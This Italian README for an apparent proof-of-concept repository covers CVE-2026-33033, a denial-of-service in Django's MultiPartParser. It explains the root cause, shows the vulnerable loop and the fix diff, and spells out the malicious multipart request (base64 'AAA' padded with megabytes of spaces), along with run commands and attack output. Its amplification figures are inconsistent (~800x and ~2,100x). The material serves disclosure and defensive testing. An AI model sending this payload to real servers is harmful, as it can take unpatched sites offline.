
Proof-of-concept exploit per CVE-2026-33033, una vulnerabilità denial-of-service nel MultiPartParser di Django tramite amplificazione CPU da spazi bianchi in base64, che dimostra un'amplificazione di ~800x con una singola richiesta HTTP.
Denial-of-service tramite amplificazione CPU da spazi bianchi in base64 in MultiPartParser di Django
Una singola richiesta HTTP da 2,5 MB può bloccare un worker Django per ~5 secondi, ottenendo un'amplificazione CPU di ~2.100x rispetto a una richiesta normale della stessa dimensione. Non è richiesta alcuna autenticazione.
Questa vulnerabilità è stata corretta nella release di sicurezza Django 6.0.4 (7 aprile 2026), insieme ai backport per tutti i branch supportati.
| Branch | Affetto | Corretto |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Potenziale vulnerabilità denial-of-service in
MultiPartParsertramite upload di file codificati in base64 (Severità: Moderata)Quando si utilizza
django.http.multipartparser.MultiPartParser, gli upload multipart conContent-Transfer-Encoding: base64che includono spazi bianchi eccessivi possono innescare copie di memoria ripetute, degradando potenzialmente le prestazioni.
| CVE | Severità | Descrizione |
|---|---|---|
| CVE-2026-3902 | Bassa | Spoofing degli header ASGI tramite confusione underscore/trattino |
| CVE-2026-4277 | Bassa | Abuso di privilegi in GenericInlineModelAdmin |
| CVE-2026-4292 | Bassa | Abuso di privilegi in ModelAdmin.list_editable |
| CVE-2026-33034 | Bassa | Bypass del limite di upload in memoria ASGI tramite Content-Length mancante |
MultiPartParser di Django ha un percorso di codice speciale per gestire le parti di file con Content-Transfer-Encoding: base64. Dopo aver rimosso gli spazi bianchi da ogni chunk, se il risultato non è allineato a un multiplo di 4 byte, un ciclo while chiama field_stream.read(1) per recuperare byte aggiuntivi uno alla volta.
Quando il corpo del file è quasi interamente composto da spazi bianchi, ogni byte recuperato viene ridotto a nulla, quindi il ciclo continua — chiamando read(1) una volta per ogni byte di spazio bianco. Il punto critico è che ogni read(1) è molto più costoso di quanto sembri:
Livello 1: il ciclo di allineamento base64 chiama read(1) per ogni byte di spazio bianco
|
Livello 2: LazyStream.read(1) recupera l'intero resto (~64 KB), ne estrae 1 byte,
e rimette indietro ~64 KB - 1 --> copia di byte O(C) per chiamata
|
Livello 3: unget() esegue self._leftover = bytes + self._leftover
creando un nuovo oggetto bytes ogni volta --> memcpy di ~C byte
Per ogni chunk da 64 KB, il lavoro di copia forma una serie aritmetica:
Totale = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 miliardi di operazioni sui byte
Per un input da 2,5 MB (~40 chunk): ~86 miliardi di byte di lavoro memcpy da una singola richiesta HTTP.
Django include _update_unget_history() che solleva SuspiciousMultipartForm se lo stesso conteggio di byte viene rimesso indietro 40+ volte in 50 operazioni. Tuttavia, in questo attacco le dimensioni di unget sono monotonicamente decrescenti (65535, 65534, 65533, ...), quindi ogni dimensione è unica e il controllo non scatta mai.
Il middleware CSRF accede a request.POST prima che qualsiasi view venga eseguita, quindi anche gli endpoint che restituiscono 403 incorrono nel costo completo del parsing.
CVE-2026-33033-PoC/
├── README.md # Questo file
├── LICENSE
├── requirements.txt # Dipendenze Python
├── exploit.py # Script di exploit
└── victim/ # Server Django vulnerabile
├── manage.py
├── uwsgi.ini # Configurazione di deployment uWSGI
└── victim/
├── __init__.py
├── settings.py # Default Django (nessuna configurazione speciale richiesta)
├── urls.py # Endpoint /upload e /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Opzione A: Server di sviluppo Django (il più rapido)
cd victim
python manage.py runserver 0.0.0.0:8000
Opzione B: uWSGI (più realistico — utilizza 4 worker)
cd victim
uwsgi --ini uwsgi.ini
In un terminale separato:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Opzioni:
| Flag | Default | Descrizione |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Endpoint di upload di destinazione |
--size | 2621440 (2,5 MB) | Dimensione del payload in byte |
--rounds | 3 | Numero di round di attacco |
============================================================
CVE-2026-33033 PoC
Denial-of-service tramite amplificazione CPU da spazi bianchi
in base64 in Django MultiPartParser
============================================================
Target: http://127.0.0.1:8000/upload
Payload size: 2.621.440 byte (2,5 MB)
Rounds: 3
[*] Verifica dello stato di salute del server...
[+] Il server è attivo.
------------------------------------------------------------
[*] Fase 1: Invio di richiesta BENIGNA (dati base64 normali)
------------------------------------------------------------
Stato: 200
Tempo: 5,55 ms
------------------------------------------------------------
[*] Fase 2: Invio di richieste MALIZIOSE (base64 + spazi bianchi)
------------------------------------------------------------
Round 1/3:
Stato: 200
Tempo: 4571,12 ms
...
============================================================
RISULTATI
============================================================
Richiesta benigna: 5,55 ms
Media attacco: 4571,12 ms (su 3 round)
Amplificazione: 823x
[!] VULNERABILE: Il tempo medio di attacco supera 1 secondo.
Una singola richiesta da 2,5 MB blocca un worker per ~4,6s.
Con 4 worker, bastano 4 richieste concorrenti per fare DoS al server.
L'exploit costruisce un corpo POST multipart/form-data con una singola parte di file:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2.621.433 spazi>A
------CVE2026-33033--
AAA iniziale fa sì che stripped_chunk = b"AAA" (3 byte), quindi remaining = 3 % 4 = 3.field_stream.read(1) per recuperare 1 byte aggiuntivo per l'allineamento.b"".join(b" ".split()) == b""), mantenendo remaining = 3.LazyStream.read(1) copia internamente ~64 KB tramite il meccanismo unget.django/http/multipartparser.py, righe 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # si riduce a vuoto
remaining = len(stripped_chunk) % 4 # rimane a 3
La correzione (applicata in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) sostituisce il ciclo per-byte read(1) con un read(self._chunk_size) in blocco:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Modifiche chiave:
read(4 - remaining) → read(self._chunk_size) — legge 64 KB alla volta invece di 1-3 byte, riducendo le chiamate di lettura da ~2,5 milioni a ~40.stripped_chunk += ... → stripped_parts.append(...) + b"".join() finale — evita la potenziale concatenazione quadratica dei byte.len(stripped_chunk) % 4 → contatore stripped_length — evita il ricalcolo ridondante della lunghezza.Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Utilizzala in modo responsabile e solo contro sistemi di cui sei proprietario o per cui hai esplicito permesso di test.
Apache License 2.0 — vedi LICENSE.